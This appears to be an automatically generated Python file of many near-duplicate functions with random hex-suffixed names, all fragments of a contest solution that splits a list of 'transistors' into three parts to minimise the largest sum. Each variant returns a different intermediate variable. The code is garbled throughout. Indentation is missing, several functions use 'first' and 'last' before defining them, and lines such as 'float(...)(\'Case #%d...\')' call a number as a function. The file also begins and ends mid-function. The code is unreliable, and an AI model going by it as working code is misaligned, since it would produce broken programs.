nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_f2c55cabd63d40b4a4237ad6a493b8a3(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_5ae490d6243d4cb6819f0fa52f43cfda(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_48f0274ca6c24113981320237cb5287b(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_0adac693daca4a01b7014f8f5e7da3a1(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_79a58764bf704fecb5e1dc09387fa672(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_7a8fb30618d9402f95703293346ae861(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_02cd0047eab34176bfd4653ce31ad02e(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return firstsum
def func_34a751b722a94c138006b1ff2bbc09ac(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return last
def func_0b9625c003c04a8eb4ce0b6811fb01fb(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return s
def func_a016f70cdeee47af94ea40a92656e6f7(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return transistorsum
def func_53e718a55d7546c495034b30fef014e7(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return i
def func_b76559e02fd346008462e8c4c147dc08(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return p
def func_91c0826e7b524a878fa708a4adcaf652(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return first
def func_ec43513ae6544a08b5b3353f9c267f15(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return transistors
def func_4bc9b8b9ba2d4dd88cf071d8cab06ae4(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return x
def func_f53abc645aaa48b8a5bd28bc7044277d(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return r
def func_a7967fd5a6ec4f008f9cb048238df782(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return lastsum
def func_5aeebc437d8d48ea8286e6e3597d8f19(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return N
def func_8bd82d9f08e54877af32c9cd50bd2e5a(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return q
def func_5712da9d59aa4be7bef9b247c52329df(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return transistors
def func_81c6540f09114f0996d78e50fc86edfc(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return i
def func_8054cb4d5f41412db70067a9e7f4e118(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return first
def func_7282d8715fa4440a9af4c74d2b9429ba(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return lastsum
def func_7797c73eb5194341860ee7884913273f(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return last
def func_83b4145d393e4061834679466d175ad3(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return transistorsum
def func_053de5e1a1b447dd8908ed0588b0d15f(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return firstsum
def func_a77996279abc4bffae107eb011e34fa2(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return minimax
def func_64b5fa7d8b834974905ad77ead0fca36(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_3db1b7bd9ccf43ee838ab30cfb60fc33(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return transistorsum
def func_3fce5bdec431465db9f4bfb831cfe81e(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return last
def func_ca6001b21b4d427dade15672dbd33f5f(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_c038ff38dcd44f6d9261d8a28cc02245(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_edfaf2280fe44923996860d9561e5904(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_8924210257114b38b9870330046fea5a(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_8927b81f19374bf88d400b3f04d57cf7(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_273139ff11084a54b9a4b6ee102458a2(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return first
def func_a99a8f25cf6744e19363a105df48f095(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_1dee943d48424ffc98db83c86ecfcf0a(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_1632eb5ebf1c4f2682820d9a0c77992b(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_6c18ece8233246bab68542bcfe8a81f7(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_43746edb56584cb3a4459747e64e17e3(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_83747f1ac778494087062aa2ee29fe7c(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_d35d7add277b4ed09a1667375d8fea3e(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_6c5177bb4a554478894070d3f77c1bfa(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_fce4b77cc91644338eabf29756905805(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_8dc2f737faf74853aee1987d69bc6525(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_b77f7569253140ada78b8d80563f48f7(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_c60dbc7155ca4b8f8af7731dbe351e9e(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_856187231f824851b1bb88e4ec95ddd4(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_d4af2429311941d9be0acf636acebc04(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_c41c2fdea08b446a998362a35879f5a6(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_15944102569e40a7966efcf42b08fccd(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_9d3980a48f1042da8e6301dd771485f9(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_c36c0e9891c04575bfe17ad599c14a4c(transistors, transistorsum, N,
testcase):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_a0d539dc54824e0ca159e65170105303(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return r
def func_35862e01e6f844b986580c0e1fe4cd4e(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return p
def func_63562bd30c9245bfaab3a19a5f10915b(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return s
def func_74231335596849a1a15a4a58c7a5c227(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return q
def func_b49728d22efd4a63913deedb7567c683(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return firstsum
def func_483ca297d1dd4ea08b43b8884cea4e88(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return minimax
def func_e8492140e86948fb9ae1016be052d436(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return i
def func_5b2369e247684130ab087e6c5d3866b9(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return transistors
def func_27002c8ae0f14388b6c698b30085b16d(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return lastsum
def func_110f6faf01a44c1da411a57077c05373(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return last
def func_3b777ef0d32049cca2056e051c9e64a9(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return transistorsum
def func_9585a6708c604d7f9fe7a22af03f477c(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return N
def func_d74b6d2e7d8846a4a41545a835d706de(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return first
def func_bab7a40a2c7a4cb589d9e1c136e35c47(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return x
def func_5eeaf264944a4c98bebac0c95748f73b(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_7fbb397fefb746068778184061bf30b1(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return first
def func_f32b183e207047b094c45de830942481(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_a2a41d8a273d4675aea5c3c7db8f415d(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_77394f7e114246978b61acd927f1f33b(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_c70fd6956ae8475fab037fc5c616969c(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
